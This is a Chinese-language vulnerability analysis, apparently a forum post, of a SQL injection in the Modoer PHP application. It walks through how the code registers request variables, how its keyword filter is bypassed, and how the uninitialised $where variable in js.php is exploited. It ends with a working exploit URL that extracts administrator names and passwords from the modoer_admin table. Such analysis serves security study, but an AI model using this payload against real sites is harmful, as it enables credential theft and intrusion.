前些天,看到fjhgx在论坛发了个Modoer的注射漏洞,我无聊跑读了下代码,下面一起来分析下

首先看到common.inc.php  76-94行:

$pattern_arr = $replace_arr = array();
if(!defined('IN_ADMIN')) {
    $pattern_arr = array("/ union /i", "/ select /i", "/ update /i", "/ outfile /i", "/ or /i");
    $replace_arr = array(' union ', ' select ', ' update ',
        ' outfile ', ' or ');
    $_POST = strip_sql($_POST);
    $_GET = strip_sql($_GET);
    $_COOKIE = strip_sql($_COOKIE);
    unset($pattern_arr, $replace_arr);
}

define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC) {
    $_POST = add_slashes($_POST);
    $_GET = add_slashes($_GET);
    $_COOKIE = add_slashes($_COOKIE);
    $_FILES && $_FILES = add_slashes($_FILES);
}
if(!empty($_POST)) extract($_POST, EXTR_SKIP);
if(!empty($_GET)) extract($_GET, EXTR_SKIP);

当register_globals = off的时候,这段代码也会为我们注册变量,继续看到其中的strip_sql和add_slashes函数:

function strip_sql($string) {
    global $pattern_arr, $replace_arr;
    return is_array($string) ? array_map('strip_sql', $string) : preg_replace($pattern_arr, $replace_arr, $string);
}

function add_slashes($string) {
    if(is_array($string))
        foreach($string as $key => $val) $string[$key] = add_slashes($val);
    else
        $string = is_string($string) ? addslashes($string) : $string;
    return $string;
}

看到js.php 63-109行

} else {

    if($jssort != 'shop' && $jssort != 'review') {
        exit("document.write(\"未定义的调用类型。\");");
    }

    $sort = $jssort=='shop' ? (isset($sort) && $sort > 0 && $sort <= 3 ? $sort : 0) : (isset($sort) && $sort > 0 && $sort <= 3 ? $sort : 0);
    $num = isset($num) && intval(trim($num)) >= 1 ? intval(trim($num)) : 10;
    $intercept = isset($intercept) && $intercept > 0 ? intval($intercept) : 0;
    $openwindow = isset($openwindow) && $openwindow > 0 ? 1 : 0;
    $pcdname = isset($pcdname) && $pcdname > 0 ? 1 : 0;

    if(!$sort) {
        exit("document.write(\"未选择显示类型。\");");
    }

    $cachename = 'js_'.md5($jssort.$panels.$sort.$num);
    $cachefile = MUDDER_CACHEDIR.'cache_'.$cachename.'.php';

    if((@!include($cachefile)) || $timestamp - $_createtime_js > $cachelife) {

        $panels = $panels ? explode('_', $panels) : '';
        if($panels && is_array($panels)) foreach($panels as $panel) {
            $where .= ($where ? " OR " : " ")."classcode like '{$panel}__'";
        }
        if($jssort == 'shop') {
            $select = "sid AS shopid,shopname,subname,classcode,reviews";
            $from = " {$dbpre}shops ";
            $where = " status='1' ".($where ? 'AND '.$where : '');   //$where 变量未初始化
        } else {
            $select = "a.rid as reviewid,a.content,b.shopname,b.subname,b.classcode,b.reviews";
            $from = " {$dbpre}reviews a LEFT JOIN {$dbpre}shops b ON(a.shopid=b.sid)";
            $where = " a.status='1' AND b.status='1' ".($where ? ' AND '.$where : '');
        }
        if($sort == 1) {
            $orderby = $jssort=='shop' ? " reviews DESC" : " a.posttime DESC ";
        } elseif($sort == 2) {
            $orderby = $jssort=='shop' ? " sumreview DESC" : " a.flower DESC ";
        } elseif($sort == 3) {
            $orderby = $jssort=='shop' ? " addtime DESC" : " a.respond DESC ";
        }

        $datalist = array();
        $query = $db->query("SELECT $select FROM $from WHERE $where ORDER BY $orderby LIMIT $num");
        while($result = $db->fetch_array($query)) {
            $datalist[] = $result;
        }

代码中的$where 未初始化,导致漏洞。

exp:

js.php?sort=1&jssort=shop&where=%201=2%20/**/union/**/select/**/1,adminname,password,4,5/**/from/**/modoer_admin%23